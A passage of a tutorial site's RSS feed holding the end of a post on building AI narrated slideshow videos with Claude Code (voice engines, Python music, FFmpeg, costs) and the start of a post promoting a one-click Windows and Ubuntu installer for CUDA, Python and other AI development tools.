&lt;h3 id=&quot;house-rules&quot;&gt;House rules&lt;/h3&gt;
&lt;p&gt;Before going further, I set some rules for the project. They go into &lt;code&gt;CLAUDE.md&lt;/code&gt;, a file the harness reads at the start of every session:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Before we go further, let's set some house rules for this project and write them into CLAUDE.md. 1) Cost tracking: every paid API call gets a row in costs.csv (date, service, model, what, cost in USD). Don't trust your memory for prices, use these official pricing pages. Gemini: [pricing page] OpenAI: [pricing page] Add rows for the two images we already made. 2) Work log: after every step that creates a file, append a short entry to WORKLOG.md: what, which tool and model, the full prompt, the output file, the cost. 3) Project structure: every video gets its own folder, projects/NAME/, with images/, voices/, music/, cuts/ and final/ inside. Move the two test images to projects/tests/images/.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cost tracking is everything. Did I mention that real animation is very expensive? I spend around $100 on my 4 min music videos. People keep telling me that it can be cheaper, but it's usually theory. I haven't heard it from people who actually make videos. In any case, if you track costs you are in control. If it's getting too expensive, you switch to cheaper models and change the technique.&lt;/p&gt;
&lt;p&gt;And this is why it's important to master slideshows - sometimes you can get away with a still image even in a high quality cinematic video. It can save you tons of money.&lt;/p&gt;
&lt;h3 id=&quot;voice&quot;&gt;Voice&lt;/h3&gt;
&lt;p&gt;There is ElevenLabs, and it's the best voice platform. Great voices, lots of settings. It's also the most expensive and a bit hard to use. I'd start with Gemini voice models instead. They're very cheap, and you can describe in words what voice you want. Or you can just ramble your preferences to Claude Code, and it turns them into the Gemini voice instruction for you.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Images done. Now voices. Teach yourself Gemini text-to-speech (gemini-3.8-flash-tts), same Gemini key. Docs: [docs] Test line: &quot;The station had been silent for three hundred days. Then, at midnight, the radio woke up.&quot; Calm, low female narrator, a little mysterious. Save it in projects/tests/voices/. When it works, create a skill called gemini-voice.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It picks the voice by its description. The one it chose is described as &quot;deep, velvety, and unhurried&quot;.&lt;/p&gt;
&lt;p&gt;A bonus model: Kokoro. It runs fully on your computer, on the CPU, for free.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Good. Now a free one: can we have the Kokoro voice model (Kokoro-82M) running locally on my CPU? Download it, write a script, read the same line with a female voice, and make a skill called kokoro-voice. This Mac has 16 GB of RAM, so keep it light.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It downloads the model, writes a script to run it, and makes a skill. Simona, my AI assistant, uses Kokoro to read her replies to me out loud every day. We created a Claude Code hook for this - but it's a separate topic.&lt;/p&gt;
&lt;p&gt;Kokoro is not very configurable, but it's free and lightweight, so add it. Use it for drafts or long texts - it can read books or articles to you.&lt;/p&gt;
&lt;p&gt;And the premium one:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Last voice, the premium one: ElevenLabs. Key is in Keychain, account ai-video-demo, service vid-el. Docs: [docs] Read the same line once with a calm female narrator voice, model eleven_multilingual_v2. Make a skill called elevenlabs-voice. Then put the best Gemini take, the Kokoro take and this one side by side in projects/tests/voices/ so I can compare them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The same line, three engines:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Engine &lt;/th&gt;&lt;th&gt;Cost of the line &lt;/th&gt;&lt;th&gt;What you control&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Kokoro (local) &lt;/td&gt;&lt;td&gt;$0 &lt;/td&gt;&lt;td&gt;speed only&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gemini TTS &lt;/td&gt;&lt;td&gt;$0.0025 &lt;/td&gt;&lt;td&gt;a style prompt in plain words&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ElevenLabs &lt;/td&gt;&lt;td&gt;$0.0071 &lt;/td&gt;&lt;td&gt;voice settings, a huge voice library, cloning&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;You can hear all three in the video at &lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U?t=630&quot;&gt;10:30&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;music&quot;&gt;Music&lt;/h3&gt;
&lt;p&gt;There are music services. Suno is the most famous one. For this video we use something simpler, free, and very magical: Python.&lt;/p&gt;
&lt;p&gt;You don't code anything. You just ask:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Voices done. Now music, completely free: using Python, can you generate some electronic music for a video? A calm, slightly eerie ambient track, about 60 seconds, for a sci-fi story about a lonely station on a frozen moon. No samples, just code. Save it to projects/tests/music/ and make a skill called python-music.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You won't get rock music or vocals. But you get decent electronic background music for a simple video. It can't listen to its own track, so it checked it by looking at the spectrogram.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-music.jpg&quot; alt=&quot;The spectrogram of the Python track. The harness drew it to check its own music.&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can hear the track in the video at &lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U?t=674&quot;&gt;11:14&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It's hard to give feedback on this kind of music. My AI and I don't have shared words for drones, ambient pads and noises yet. But it's interesting - over time we can build those words and understand each other better. Make this higher, reduce the humming, let's add some random notes...&lt;/p&gt;
&lt;p&gt;That's the only music skill I have. When I need more, I go to Suno by hand. It has no API.&lt;/p&gt;
&lt;h3 id=&quot;editing&quot;&gt;Editing&lt;/h3&gt;
&lt;p&gt;Two more skills. The main one is &lt;code&gt;FFmpeg&lt;/code&gt;. It's a terminal tool with no UI, and AI is very good with it. It can make a video from images, cut a video into pieces, swap them, pull out frames, add sound, change volume. A full video editor in the terminal. The model already knows it, and the tool has its own docs built in.&lt;/p&gt;
&lt;p&gt;Now the first real video, from one prompt:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Now our first real video. Write a short story about space, 8 to 10 sentences, about that lonely station on the frozen moon whose radio wakes up. Split it into parts and make 6 illustrations for it with gpt-image, 16:9, same style in every frame. Voice the story with Gemini. Make a music track for it with python-music and keep it quiet under the voice. Then use FFmpeg to put it all together into a 1920x1080 slideshow video where the images follow the story. New project folder for it. When it works, create an ffmpeg skill with the successful path.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-story.jpg&quot; alt=&quot;The six illustrations gpt-image made for the story, same style in every frame.&quot;&gt;&lt;/p&gt;
&lt;p&gt;It worked. But each image stayed on screen for 17 seconds, which is way too long.&lt;/p&gt;
&lt;p&gt;To switch images at the right moment, you need timings: when exactly each word is spoken. There is a small local model for that, &lt;code&gt;faster-whisper&lt;/code&gt;. You don't need to know its name. Just tell the harness you need the exact timing of each word.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;It works, nice! Two things to improve. First, each image stays on screen for 17 seconds, that's too long. Let's do one image per sentence (keep the 6 we have, add the missing ones in the same style). To switch images at exactly the right moment, we need word timings: set up a small local transcription model (faster-whisper) that tells us when each word is spoken, and make a skill for it called transcript. Second, what other effects can FFmpeg do on still images besides zoom? Use a few of them in v2 where they fit the story, for example a slow pan across a wide image, a little camera shake when the radio wakes up, a light pulse when the station lights come on. Render it as v2, keep v1.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;About the effects. Once the slides are together, you'll see they move a little: a slow zoom in or out. Ask what else &lt;code&gt;FFmpeg&lt;/code&gt; can do. It can zoom in any direction. It can scroll across a wide image through a narrow window. It can shake the frame. It can play with brightness, like a light pulse. This matters later: you don't always need expensive animation. Often a still image with a good effect is enough.&lt;/p&gt;
&lt;p&gt;There is one unwanted effect: the shaking. Zooming recalculates the frame size over time, and rounding to whole pixels creates tiny mistakes. This creates jitter, and a model cannot see it. I can, so I asked it to get rid of the jitter and remember the fix in the skill. Although sometimes shaking might be useful.&lt;/p&gt;
&lt;h3 id=&quot;the-result&quot;&gt;The result&lt;/h3&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U?t=861&quot;&gt;&lt;img src=&quot;https://azelianouski.dev/images/aivideo-ep2-thumb-result.jpg&quot; alt=&quot;The Silent Station, made from one prompt&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/Vc7AJ4xCl-U?t=861&quot;&gt;Watch the story on YouTube, from 14:21&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The story starts at 14:21 in the video.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;The station had been silent for three hundred days. It sat alone on the frozen plains of a nameless moon, where Saturn filled half the sky. [...] Then she leaned toward the microphone and said, &quot;This is Kepler Station. We are still here.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And if you don't like some part of it, just ask. The harness has all the source files and all the timings. Change one line, render again.&lt;/p&gt;
&lt;p&gt;The last prompt is a quick tour of what we built:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Looks great. Last thing for today, a quick tour so I can see what we built: list our skills with their one-line descriptions, show me how much we spent in total from costs.csv, the last few entries of WORKLOG.md, and the folder structure of the project. Just show them, no changes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the full bill:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;What &lt;/th&gt;&lt;th&gt;Calls &lt;/th&gt;&lt;th&gt;Cost&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Images, GPT Image 2.5 &lt;/td&gt;&lt;td&gt;12 &lt;/td&gt;&lt;td&gt;$0.489&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Images, Nano Banana 2.1 &lt;/td&gt;&lt;td&gt;1 &lt;/td&gt;&lt;td&gt;$0.102&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Voice, Gemini TTS &lt;/td&gt;&lt;td&gt;8 &lt;/td&gt;&lt;td&gt;$0.026&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Voice, ElevenLabs &lt;/td&gt;&lt;td&gt;1 &lt;/td&gt;&lt;td&gt;$0.007&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Voice Kokoro, music, FFmpeg, faster-whisper &lt;/td&gt;&lt;td&gt;- &lt;/td&gt;&lt;td&gt;$0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt; &lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;$0.624&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;the-docs-i-pasted&quot;&gt;The docs I pasted&lt;/h3&gt;
&lt;p&gt;Where a prompt says [docs], I pasted the whole page with &quot;Copy page&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenAI images: &lt;a rel=&quot;nofollow&quot; href=&quot;https://developers.openai.com/api/docs/guides/image-generation&quot;&gt;https://developers.openai.com/api/docs/guides/image-generation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gemini images: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ai.google.dev/gemini-api/docs/image-generation&quot;&gt;https://ai.google.dev/gemini-api/docs/image-generation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gemini TTS: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ai.google.dev/gemini-api/docs/speech-generation&quot;&gt;https://ai.google.dev/gemini-api/docs/speech-generation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ElevenLabs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://elevenlabs.io/docs/api-reference/text-to-speech/convert&quot;&gt;https://elevenlabs.io/docs/api-reference/text-to-speech/convert&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Prices: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ai.google.dev/gemini-api/docs/pricing&quot;&gt;https://ai.google.dev/gemini-api/docs/pricing&lt;/a&gt; and &lt;a rel=&quot;nofollow&quot; href=&quot;https://developers.openai.com/api/docs/pricing&quot;&gt;https://developers.openai.com/api/docs/pricing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;what-s-next&quot;&gt;What's next&lt;/h3&gt;
&lt;p&gt;This is more than enough to start. It's how I started. My very first video, &lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/emkCeHF_KDM&quot;&gt;Sleeper AI episode 1&lt;/a&gt;, is still one of my favorites. Half of it is static images and HTML. You can do a lot with static images.&lt;/p&gt;
&lt;p&gt;In the next episode we animate some of these slides. Or build an episode of my shorts series together.&lt;/p&gt;
&lt;p&gt;If you get stuck, or want to show what you made, come to our Discord: &lt;a rel=&quot;nofollow&quot; href=&quot;https://discord.gg/PVY9dpU8X5&quot;&gt;https://discord.gg/PVY9dpU8X5&lt;/a&gt;&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/32179/ai-videos-with-claude-code-for-beginners-11-prompts-0-62</guid>
<pubDate>Fri, 23 Oct 2026 12:18:34 +0000</pubDate>
</item>
<item>
<title>Zero to AI-Ready PC in One Click: Windows &amp; Ubuntu AI Requirements Installer Full Tutorial</title>
<link>https://coderlegion.com/31561/zero-to-ai-ready-pc-in-one-click-windows-ubuntu-ai-requirements-installer-full-tutorial</link>
<description>&lt;h2 id=&quot;zero-to-ai-ready-pc-in-one-click-windows-amp-ubuntu-ai-requirements-installer-full-tutorial&quot;&gt;Zero to AI-Ready PC in One Click: Windows &amp;amp; Ubuntu AI Requirements Installer Full Tutorial&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Full tutorial link &amp;gt;&lt;/strong&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.youtube.com/watch?v=ptuLL0C72Ms&quot;&gt;https://www.youtube.com/watch?v=ptuLL0C72Ms&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.youtube.com/watch?v=ptuLL0C72Ms&quot;&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/G4SxdjUe7TlICn95CRrO8.png&quot; alt=&quot;Full tutorial: Windows and Ubuntu AI Requirements Installers&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The 1-Click Windows and Ubuntu AI Requirements Installers set up your PC for AI apps such as ComfyUI, SwarmUI, music, text-to-speech and text-to-3D tools: one click on Windows, one command on Ubuntu. They install the latest NVIDIA driver, CUDA 12.9 + 13.2, cuDNN 9.20, Python 3.10-3.14, the C++ build tools, Git, Node.js, .NET SDK and FFmpeg, set &lt;code&gt;PATH&lt;/code&gt; in the right order, test everything for real (78 Windows and 66 Ubuntu tests passed on our test PCs) and show every result in a detailed HTML report.&lt;/p&gt;
&lt;h3 id=&quot;links-&quot;&gt;Links:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/1-click-windows-172290854&quot;&gt;Download the installers (latest zip) and the full guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/DrhUHnYfwC0&quot;&gt;Previous manual method (older Windows requirements tutorial)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://discord.com/invite/software-engineering-courses-secourses-772774097734074388&quot;&gt;SECourses Discord for help (send your &lt;code&gt;logs.txt&lt;/code&gt;)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;You will learn how to extract the zip in your Downloads folder, run the Windows installer as administrator, follow its 20 steps, read the HTML report and &lt;code&gt;logs.txt&lt;/code&gt;, run the Ubuntu installer with one sudo command, and rerun either installer to repair or update your setup.&lt;/li&gt;
&lt;li&gt;Main topics include 1-click AI PC setup, CUDA and cuDNN, Python 3.10-3.14, Visual Studio C++ Build Tools, &lt;code&gt;PATH&lt;/code&gt; order, &lt;code&gt;torch.compile&lt;/code&gt; and Triton readiness, FFmpeg for torchcodec, Ubuntu 22.04/24.04/26.04 and real install tests.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Use the chapters to jump to the download, the Windows steps, the HTML report, the Ubuntu installer and updates.&lt;/p&gt;
&lt;h3 id=&quot;chapters-&quot;&gt;Chapters:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;00:00:00 One click sets up your PC for AI: all tests passed&lt;/li&gt;
&lt;li&gt;00:00:17 Windows 10, 11 and Ubuntu 22, 24, 26: ready for any AI app&lt;/li&gt;
&lt;li&gt;00:01:03 Download the latest zip and extract it in Downloads&lt;/li&gt;
&lt;li&gt;00:01:19 Right-click the .bat and choose Run as administrator&lt;/li&gt;
&lt;li&gt;00:01:38 The 20 steps begin: long paths, Store Python removed&lt;/li&gt;
&lt;li&gt;00:01:50 CUDA 12.9 + 13.2 toolkits, then cuDNN for PyTorch&lt;/li&gt;
&lt;li&gt;00:02:14 Visual Studio 2022 Build Tools and the VC++ runtime&lt;/li&gt;
&lt;li&gt;00:02:43 Python 3.10 to 3.14, with 3.12 as the default&lt;/li&gt;
&lt;li&gt;00:03:12 Git, Node.js 24, .NET SDK and FFmpeg&lt;/li&gt;
&lt;li&gt;00:03:48 &lt;code&gt;PATH&lt;/code&gt; order, Git long paths and the page file&lt;/li&gt;
&lt;li&gt;00:04:09 Triton cache, NVIDIA driver and the final tests&lt;/li&gt;
&lt;li&gt;00:04:32 The HTML report: 78 tests, every step, &lt;code&gt;PATH&lt;/code&gt; and backups&lt;/li&gt;
&lt;li&gt;00:05:13 Transparent source files, &lt;code&gt;logs.txt&lt;/code&gt;, then restart Windows&lt;/li&gt;
&lt;li&gt;00:06:05 Ubuntu 22.04, 24.04, 26.04: one sudo command&lt;/li&gt;
&lt;li&gt;00:07:00 Rerun any time to update; GCC, Clang, CMake, Ninja&lt;/li&gt;
&lt;li&gt;00:07:46 Ubuntu report: OK messages, warnings and &lt;code&gt;logs.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;00:08:54 One-time setup, ready for our apps and other AI apps&lt;/li&gt;
&lt;li&gt;00:09:30 Latest installer version, the guide post and support&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What it installs on Windows: the latest compatible NVIDIA WHQL driver for GeForce RTX 20-series and newer (checked on every run, never downgraded); Python 3.10 to 3.14 for all users, 3.12 as default; CUDA 12.9 and 13.2 side by side (13.2 default) and cuDNN 9.20, the only cuDNN registered, so PyTorch never mixes two versions; Visual Studio 2022 Build Tools (MSVC, Windows SDK) that keep compiling after Visual Studio updates, the latest Visual C++ runtime and CUDA integration; Git, Node.js 24, .NET 10 SDK for SwarmUI, FFmpeg 9 shared and static; &lt;code&gt;PATH&lt;/code&gt; in the right order with your own entries kept, long paths, a 100 GB page file. Ready for &lt;code&gt;torch.compile&lt;/code&gt;, Triton and flash-attention, sage-attention, xformers and insightface builds.&lt;/p&gt;
&lt;p&gt;On Ubuntu the C++ tools are GCC, Clang, CMake and Ninja, plus Git LFS, uv, free-threaded Python 3.13t and 3.14t and a swap file. With an NVIDIA GPU it installs the newest driver Ubuntu offers and never downgrades it. Ubuntu's own &lt;code&gt;python3&lt;/code&gt; stays as it is.&lt;/p&gt;
&lt;p&gt;Windows: put the zip in Downloads (not directly on C:), extract it, right-click &lt;code&gt;Windows_AI_Requirements_Installer.bat&lt;/code&gt; and choose Run as administrator. Nothing has to be installed first. Ubuntu: open a terminal in the folder and run &lt;code&gt;sudo bash ./Ubuntu_AI_Requirements_Installer.sh&lt;/code&gt; (24.04 recommended).&lt;/p&gt;
&lt;p&gt;Afterwards the HTML report opens and &lt;code&gt;logs.txt&lt;/code&gt; is saved next to the installer. Restart your PC and open a new terminal for the new &lt;code&gt;PATH&lt;/code&gt;. You need this setup only once, not for every app. When the post shows a newer version, run the new one: finished parts are only checked, failed parts are repaired and components are updated, with backups first (&lt;code&gt;--restore-env&lt;/code&gt; puts them back).&lt;/p&gt;
&lt;p&gt;Tested for real: the tests compile and start C++ and CUDA programs, build Python and PyTorch-style CUDA extensions, compile GPU code for RTX 50 cards, encode a video and build a .NET app, in the environment a new terminal gets; the optional PyTorch GPU test runs with &lt;code&gt;--torch-test&lt;/code&gt;. Supported: Windows 10 (21H2+) and 11; Ubuntu 22.04, 24.04 and 26.04 (desktop, server, cloud GPU, WSL2, Linux Mint, Zorin OS), 64-bit x86. Without an NVIDIA GPU everything still installs and compiling works; CUDA apps need an NVIDIA GPU.&lt;/p&gt;
&lt;p&gt;This video is for anyone who wants to run AI apps locally without installing CUDA, Python and C++ tools by hand.&lt;/p&gt;
&lt;p&gt;For support, questions or installation issues, check the links above, the pinned comment, Patreon, Discord and the video comments, and send your &lt;code&gt;logs.txt&lt;/code&gt; if a step fails. Thank you for watching.&lt;/p&gt;
&lt;h3 id=&quot;1-click-windows-and-linux-ubuntu-22-24-26-ai-requirements-installers---setup-your-pc-and-make-it-ready-for-all-local-ai-apps-scripts-and-more&quot;&gt;1-Click Windows and Linux (Ubuntu 22, 24, 26) AI Requirements Installers - Setup Your PC and Make It Ready for All Local AI Apps, Scripts, and More&lt;/h3&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/1-click-windows-172290854&quot;&gt;https://www.patreon.com/SECourses/posts/1-click-windows-172290854&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Our AI Requirements Installers set up a Windows or Ubuntu PC for all our AI apps: one click on Windows, one command on Ubuntu.&lt;/strong&gt; They install the latest NVIDIA driver, Python 3.10 to 3.14, CUDA 12.9 and 13.2, cuDNN 9.20, the C++ compilers, Git, Node.js, .NET and FFmpeg, set every path and variable, test everything for real and show the result in a clear report. Below you will see the real reports of a Windows 11 PC with an RTX 3090 Ti and a fresh Ubuntu 24.04 PC.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This installer will get updated as needed like when we move to Torch 2.14 and CUDA 13.4.&lt;/li&gt;
&lt;li&gt;I have been constantly getting asked how to make initial setup easy and here you have it.&lt;/li&gt;
&lt;li&gt;Once you run this installers, your PC will be fully ready to run all of our AI apps with perfect speed, accuracy and quality.&lt;/li&gt;
&lt;li&gt;For Windows, recommend version is Windows 11 but should work both Windows 10 and 11&lt;/li&gt;
&lt;li&gt;For Ubuntu, recommended version is Ubuntu 24 but should work both Ubuntu 22 and 26 too&lt;/li&gt;
&lt;li&gt;You can run multiple times with no issues if first install fails for any reason, don't forget to restart system after running installation&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;This is only app that you need to run as administrator do not forget&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All of my other apps, scripts, installers are run with double click or select and hit enter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Older manual installation : &lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/DrhUHnYfwC0&quot;&gt;https://youtu.be/DrhUHnYfwC0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/hlNFLGBNg-pFoPWSJ-dZY.png&quot; alt=&quot;AI Requirements Installers&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;why-our-ai-requirements-installers&quot;&gt;Why Our AI Requirements Installers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One click on Windows, one command on Ubuntu:&lt;/strong&gt; right-click the .bat and choose Run as administrator, or run one sudo command in a terminal. Nothing has to be installed first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Made for our apps and their full features:&lt;/strong&gt; ComfyUI, SwarmUI, SECourses Musubi Trainer, AI Toolkit, Ultimate TTS, Premium Upscaler Pro, Video Captioner Pro and more, with &lt;code&gt;torch.compile&lt;/code&gt;, Triton, flash-attention, sage-attention, xformers and insightface builds.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The latest NVIDIA driver:&lt;/strong&gt; Windows gets the newest compatible WHQL driver for GeForce RTX 20-series and newer cards, checked with NVIDIA on every run. Ubuntu gets the newest driver Ubuntu offers, R595 or newer. The driver step runs last, and a working driver is never downgraded.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Several versions side by side:&lt;/strong&gt; Python 3.10, 3.11, 3.12, 3.13 and 3.14 with 3.12 as the default, and CUDA 12.9 and 13.2 with 13.2 as the default. Ubuntu also gets the free-threaded Python 3.13t and 3.14t.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tested for real:&lt;/strong&gt; 78 tests on Windows and 66 on Ubuntu compile and start C++ and CUDA programs, build Python and CUDA extensions, encode a video and build a .NET app, in the same environment that a new terminal gets. On the RTX 3090 Ti, the CUDA test programs ran on the GPU with correct results.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fast:&lt;/strong&gt; the Windows 11 PC with the RTX 3090 Ti was installed, updated and tested in 20 minutes 45 seconds, with the CUDA and cuDNN installers already downloaded by an earlier run.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Made for PCs that already have tools:&lt;/strong&gt; an existing Visual Studio is updated, a current Visual C++ runtime is left alone, and an older Python from the Python Install Manager is backed up while its virtual environments keep working.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A clear HTML report:&lt;/strong&gt; every component, step, path, variable, test, download and backup on one page, opened in your browser at the end.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The right cuDNN every time:&lt;/strong&gt; only cuDNN 9.20 for CUDA 13 is registered, so PyTorch always loads one matching cuDNN.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ready after updates and in every terminal:&lt;/strong&gt; compiling keeps working after Visual Studio updates on Windows, and on Ubuntu every new terminal is ready, bash, zsh and login shells included.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Safe on your PC:&lt;/strong&gt; every change is backed up first and one command restores it. Ubuntu's own Python stays as it is.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run it again any time:&lt;/strong&gt; finished parts are only checked, failed or interrupted parts are repaired, and components and the NVIDIA driver are updated.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are both reports right after the installation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/VXiFxN1xt271YH0StoYHa.png&quot; alt=&quot;Windows and Ubuntu AI Requirements Installer reports: everything installed and verified, all 78 and all 66 tests passed&quot;&gt;&lt;/p&gt;
&lt;p&gt;1 and 3: everything installed and verified, every test passed. 2: the full installation time on the Windows 11 PC with the RTX 3090 Ti. Its CUDA and cuDNN installers were already downloaded by an earlier run.&lt;/p&gt;
&lt;h3 id=&quot;what-you-download&quot;&gt;What You Download&lt;/h3&gt;
&lt;p&gt;You get small script files. They download everything else and check each download.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/ZKgiKbYyGqnSh0K_Ty3S0.png&quot; alt=&quot;The installer files: the Windows zip with the .bat, .py and instructions, the Ubuntu .sh and instructions&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: on Windows you start the .bat. It comes in &lt;code&gt;Windows_AI_Requirements_Installer.zip&lt;/code&gt; together with &lt;code&gt;Windows_AI_Requirements_Installer.py&lt;/code&gt;, which must stay in the same folder. 2: on Ubuntu you run the .sh. The two text files explain every step and option.&lt;/p&gt;
&lt;h3 id=&quot;windows-ai-requirements-installer&quot;&gt;Windows AI Requirements Installer&lt;/h3&gt;
&lt;h4 id=&quot;how-to-run-it&quot;&gt;How to Run It&lt;/h4&gt;
&lt;p&gt;Extract the zip, right-click &lt;code&gt;Windows_AI_Requirements_Installer.bat&lt;/code&gt; and choose Run as administrator. A normal double-click works too: it asks Windows for administrator rights by itself. The .bat brings its own temporary portable Python from &lt;a rel=&quot;nofollow&quot; href=&quot;https://python.org&quot;&gt;python.org&lt;/a&gt;, so nothing has to be installed first.&lt;/p&gt;
&lt;p&gt;When it finishes, the HTML report opens in your browser and &lt;code&gt;logs.txt&lt;/code&gt; is saved next to the .bat. Open a new Command Prompt or PowerShell window to use the new &lt;code&gt;PATH&lt;/code&gt;. Windows is never restarted for you: restart it when the report asks, and if a new NVIDIA driver asked for the restart, run the installer again afterwards to finish the tests.&lt;/p&gt;
&lt;h4 id=&quot;what-it-installs&quot;&gt;What It Installs&lt;/h4&gt;
&lt;p&gt;The report starts with every installed component, its version and its folder:&lt;/p&gt;
